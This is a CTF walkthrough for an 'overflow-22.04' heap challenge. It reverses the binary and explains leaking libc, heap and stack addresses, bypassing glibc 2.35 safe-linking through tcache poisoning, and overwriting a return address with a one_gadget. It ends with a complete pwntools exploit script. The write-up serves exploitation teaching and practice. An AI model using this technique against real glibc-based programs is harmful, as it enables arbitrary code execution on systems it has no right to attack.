overflow-22.04
Heap Overflow on Ubuntu 22.04, Bypassing Safe-Linking.
6 min read
[ + ]Introduction
This is a difficult challenge as we are dealing with a few things that are not present in overflow 20.04
. Since we are working with glibc 2.35, we must deal with "safe-linking" mitigation which is used to protect the heap's integrity. This means we not only need to leak libc, but also the heap base address, and the stack (since __free_hook
exploitation method was patched) for successful exploitation.
This is a very informative read, hope you enjoy.
[ + ]Reversing
Below you can find the decompiled code snippets, explanations, and details about the heap overflow vulnerability.
TL;DR - Overflow vulnerability caused by user defined input size rather than using the respective heap chunk size.
main
As shown in the image bellow, the program takes some input and it is check against numeric values. If the input matches, the respective subroutine is called.
add
Here we can see we are able to add a node.
At the top we see that the global array
is of size 0xF
. Then we allocate a chunk on the heap of any size less than 0x1FFF
. The pointer to the chunk is stored in array
and the size is stored in size_array
.
size_array
is not referenced in edit
, which is the root cause for the overflow vulnerability.
delete
Here we are able to delete nodes.
We can see that by providing some input less than 0xF
results in the freeing of the chunk from the pointer at array[v1]
, removing the pointer from array[v1]
, and removing the size from size_array[v1]
.
This portion of the code is safe (unlike in uaf 22.04
).
edit
Here we are able to edit a node.
The node is directly modified through the pointer at array[v1]
based on the input we provided.
There are two important parts to this sub-routine:
size_array[v1]
can be modified, allowing us to read other chunks on the heap.- We are able to write
v1
bytes to a chunk (so long as it is less than0x1FFF
) allowing us to overwrite data in other chunks, causing the overflow vulnerability.
show
Here we are able to show a node.
The node and size of the node is pulled from array
and size_array
respectively based on the input we provide. Since we can set the size_array[v1]
value almost arbitrarily in the edit
subroutine, we are able to read data from other chunks on the heap.
[ + ]Exploiting
In order to exploit this overflow vulnerability there are a few steps.
- Leak libc
- Leak heap base address
- Leak the stack
- Modify the stack with a gadget found with
one_gadget
Let's start with leaking libc. This is exactly the same way of leaking libc as other exploitation methods - free a chunk of size greater than 0x408
such that it ends up in unsorted bins. We also need to protect top-chunk from swallowing the space with another chunk.
Once we free the chunk, we can add a new chunk of the same size (0x409
) are read it's content.
Alternatively, we could have added a node before the 0x409
node, proceeded with the rest of the steps, but instead of re-allocating a chunk of size 0x409
, we edit the first node's size to be able to read the contents of the 0x409
node.
add(0x409)
add(0x50)
delete(0)
add(0x409)
main_arena = int.from_bytes(show(0)[:7].strip(), "little")
glibc_base = main_arena - 0x219ce0
environ_addr = main_arena + 0x7520
log.info(f"main_arena: {hex(main_arena)}")
log.info(f"glibc_base: {hex(glibc_base)}")
log.info(f"environ_addr: {hex(environ_addr)}")
When looking at the heap, we see the following:
As show, we have a chunk in unsorted_bins
after being freed and successfully leaked libc.
Now let's look at leaking the heap.
# heap leak
add(0x20) # 2
delete(2)
add(0x20) # 2
heap_leak = int.from_bytes(show(2)[:5].strip(), "little") << 12
Let's take a look at what's going on on the heap after we run this code snippet.
Since we allocated some space, and freed the chunk, in the process some metadata about the heap state was stored in the chunk. When we re-allocate a new chunk, the same memory space will be reused, allowing us to leak the heap base.
For our final leak, let's take a look at how we can leak the stack.
# poison tcache
# chunk 2 already allocated in previous step
add(0x20)
add(0x20)
delete(4)
delete(3)
delete(2)
add(0x20)
curr = heap_leak + 0x750
fw = (curr >> 12) ^ environ_addr
# Modify chunk 3 indirectly by overflowing chunk 2
# Need to maintain heap integrity my maintaining chunk 2 metadata (size + 1)
# which is why we have 0x31.to_bytes(8, "little")
edit(2, b'A' * 0x28 + 0x31.to_bytes(8, "little") + fw.to_bytes(8, "little"))
add(0x20)
add(0x20)
environ_stack_addr = int.from_bytes(show(4)[:8].strip(), "little")
log.info(f"environ_stack_addr: {hex(environ_stack_addr)}")
This is a little more complex. Effectively, we need to groom the FastBins
linked list such that we have the following in FastBins
:
[Chunk 2] <---- [Chunk 3] <---- [Chunk 4]
We can achieve this by freeing the chunks in reverse order. We then allocate Chunk 4
, removing it from FastBins
, calculate a modified forward pointer (bypassing safe-linking) pointing to environ_addr
, modify Chunk 5
with the new address, and allocate the remaining two chunks.
Step by step it looks like this:
----------------
| HEAP |
----------------
| Chunk 2 | (allocated)
----------------
| Chunk 3 | (de-allocated)
----------------
| Chunk 4 | (de-allocated)
----------------
FastBins
[Chunk 3] <---- [Chunk 4]
Then we modify the forward pointer address of chunk 4 such that the linked list looks as follows:
----------------
| HEAP |
----------------
| Chunk 2 | (allocated)
----------------
| Chunk 3 | (de-allocated)
----------------
| Chunk 4 | (de-allocated)
----------------
FastBins
[Chunk 3] |-- [Chunk 4]
|
[environ_addr] <--
We can see this in gdb
clearly as well:
Finally, we re-allocate those chunks and are able to leak the address.
In the process we also had to bypass the "safe-linking" mitigation. We can do this quite easily since we know the structure of the heap (it may be harder in other cases).
We can do this by using the offset of the previous chunk in the tcache (chunk 3) to encode our forward pointer address.
The general formula is as follows:
forward pointer = (current chunk address >> 12) ^ arbitrary address
Here is a good article explaining bypassing the "safe-linking" mitigation https://malware.news/t/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/40111.
Finally, we can use the same exploit to write to the stack. Here is the code:
add(0x80)
add(0x80)
add(0x80)
delete(7)
delete(6)
delete(5)
add(0x80)
curr = heap_leak + 0x840
fw = (curr >> 12) ^ (environ_stack_addr - 0x120 - 8)
# Modify chunk 6 indirectly by overflowing chunk 5
# Need to maintain heap integrity my maintaining chunk 5 metadata (size + 1)
# which is why we have 0x81.to_bytes(8, "little")
edit(5, b'A' * 0x88 + 0x81.to_bytes(8, "little") + fw.to_bytes(8, "little"))
add(0x80)
add(0x80)
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Somewhere writeable in ESB
edit(7, p64(heap_leak + 0x720 + 0x78) + p64(glibc_base + 0x50a37))
We are effectively doing the same thing as previously, except we are modifying an address on the stack with the address of our one_gadget
. Additionally we need to specify an address for esb
that is writeable to satisfy the condition of one_gadget
.
Here is how we identified the offset using one_gadget
:
one_gadget /lib/x86_64-linux-gnu/libc.so.6
We can identify the offset from environ_stack_addr
by setting a breakpoint at the leave
instruction for main
and looking at the registers.
We can confirm that the exploit is working by breaking at main
's ret
instruction:
[ + ]Solution
Solver
from pwn import *
from pwnlib.util.packing import *
# Context
context.arch = 'amd64'
# context.log_level = 'DEBUG'
def exploit():
def add(size: int):
p.send(b"1\n")
p.recvuntil(b"Size:\n")
p.send(str(size).encode() + b"\n")
p.recvuntil(b">")
def delete(index: int):
p.send(b"2\n")
p.recvuntil(b">")
p.send(str(index).encode() + b"\n")
p.recvuntil(b">")
def edit(index: int, data: bytes):
p.send(b"3\n")
p.recvuntil(b">")
p.send(str(index).encode() + b"\n")
p.recvuntil(b"Size:\n")
p.send(str(len(data)).encode())
p.recvuntil(b"Content:\n")
p.send(data)
p.recvuntil(b">")
def show(index: int):
p.send(b"4\n")
p.recvuntil(b">")
p.send(str(index).encode() + b"\n")
p.recvuntil(b"Content:\x0a")
return p.recvuntil(b">")
p = process("/tmp/lima/overflow2204/chal")
pause()
p.recvuntil(b">")
# leak glibc address
add(0x409)
add(0x50)
delete(0)
add(0x409)
main_arena = int.from_bytes(show(0)[:7].strip(), "little")
glibc_base = main_arena - 0x219ce0
environ_addr = main_arena + 0x7520
log.info(f"main_arena: {hex(main_arena)}")
log.info(f"glibc_base: {hex(glibc_base)}")
log.info(f"environ_addr: {hex(environ_addr)}")
# heap leak
add(0x20)
delete(2)
add(0x20)
heap_leak = int.from_bytes(show(2)[:5].strip(), "little") << 12
log.info(f"heap_leak: {hex(heap_leak)}")
# poison tcache
add(0x20)
add(0x20)
delete(4)
delete(3)
delete(2)
add(0x20)
curr = heap_leak + 0x750
fw = (curr >> 12) ^ environ_addr
edit(2, b'A' * 0x28 + 0x31.to_bytes(8, "little") + fw.to_bytes(8, "little"))
add(0x20)
add(0x20)
environ_stack_addr = int.from_bytes(show(4)[:8].strip(), "little")
log.info(f"environ_stack_addr: {hex(environ_stack_addr)}")
add(0x80)
add(0x80)
add(0x80)
delete(7)
delete(6)
delete(5)
add(0x80)
curr = heap_leak + 0x840
fw = (curr >> 12) ^ (environ_stack_addr - 0x120 - 8)
edit(5, b'A' * 0x88 + 0x81.to_bytes(8, "little") + fw.to_bytes(8, "little"))
add(0x80)
add(0x80)
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Somewhere writeable in ESB
edit(7, p64(heap_leak + 0x720 + 0x78) + p64(glibc_base + 0x50a37))
# Trigger exploit after overwrite
p.send(b"6\n")
p.interactive()
if __name__ == "__main__":
exploit()